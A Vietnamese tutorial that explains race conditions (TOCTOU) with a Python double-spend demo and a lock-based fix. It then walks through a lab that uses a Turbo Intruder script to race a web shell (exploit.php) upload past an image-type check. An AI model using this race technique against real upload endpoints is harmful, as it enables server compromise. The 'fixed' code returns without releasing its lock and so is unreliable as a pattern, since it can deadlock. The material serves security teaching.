# Race Condition
## Khái niệm
Tấn công race condition còn được gọi là time-of-check, time-of-use (TOCTOU) xảy ra khi 2 hoặc nhiều threads cố gắng truy cập hoặc sử dùng cùng một tài nguyên chung trong cùng một thời điểm dẫn tới việc kết quả bị sai so với quy trình thông thường.

## Demo
Lấy một ví dụ đơn giản: giả sử tài khoản ta có 20\$, vật phẩm A có giá 10\$ và vật phẩm B có giá là 15\$. Rõ ràng ta chỉ có thể mua được 1 trong 2 vật phẩm này thôi.
Tuy nhiên nếu lập trình dính lỗi `race condition` ta có thể tạo 2 thread để mua cả 2 vật phẩm A, B mà vẫn còn dư tiền ( ͡° ͜ʖ ͡°).
```python!
import threading
import time
account_balance = 20
items = {'A': 15, 'B':10}
my_cart = []
def buy_item(name):
global account_balance
price = items[name]
local_balance = account_balance
if local_balance < price:
print(f"Not enough money to buy item {name}")
return False
time.sleep(1)
local_balance = local_balance - price
account_balance = local_balance
my_cart.append(name)
print(f"Item {name} has been added to cart.")
return True
t1 = threading.Thread(target=buy_item, args=('A',))
t2 = threading.Thread(target=buy_item, args=('B',))
# starting the threads
t1.start()
t2.start()
# waiting for the threads to complete
t1.join()
t2.join()
print(f'Items in my cart: {my_cart}')
print(f'My account balance after purchase: {account_balance}')
```


Do khi 2 thread chạy song song, nên cùng có`local_balance = account_balance = 20`, thời gian chờ là 1s tương ứng với "time-of-check". Trong khoảng A "time-of-check" thì B đã "time-of-use" nên chưa bị trừ tiền trong số dư gốc và dĩ nhiên vẫn đủ tiền để mua. Vậy là lãi được 15\$/10\$ tuỳ vào việc thread nào xong sau (>‿◠)✌
## Cách phòng tránh
Sử dụng threading’s lock để khoá thread đó lại đến khi xử lý xong.
```python!
from threading import Lock
import threading
import time
lock = Lock()
account_balance = 20
items = {'A': 15, 'B':10}
my_cart = []
def buy_item(name, lock):
lock.acquire()
global account_balance
price = items[name]
local_balance = account_balance
if local_balance < price:
print(f"Not enough money to buy item {name}")
return False
time.sleep(1)
local_balance = local_balance - price
account_balance = local_balance
my_cart.append(name)
print(f"Item {name} has been added to cart.")
lock.release()
return True
t1 = threading.Thread(target=buy_item, args=('A',lock))
t2 = threading.Thread(target=buy_item, args=('B',lock))
# starting the threads
t1.start()
t2.start()
# waiting for the threads to complete
t1.join()
t2.join()
print(f'Items in my cart: {my_cart}')
print(f'My account balance after purchase: {account_balance}')
```

## Lab: Web shell upload via race condition
Ta thấy rằng server chỉ chấp nhận file png, jpg.


Nghi ngờ rằng server sẽ mất 1 khoảng thời gian để check và upload. Nếu thread 1 đang bận check thì ta có thể tạo thread 2 để upload mà không bị server check nữa.
Sử dụng Turbo Intruder extension sẽ giúp ta tự động hoá race condition.
```python!
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)
request1 = '''<YOUR-POST-REQUEST>'''
request2 = '''<YOUR-GET-REQUEST>'''
# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
request1 tương ứng với request post file exploit.php

và request2 tương ứng với request get file exploit.php


Nhấn attack và ta có được secret :+1:
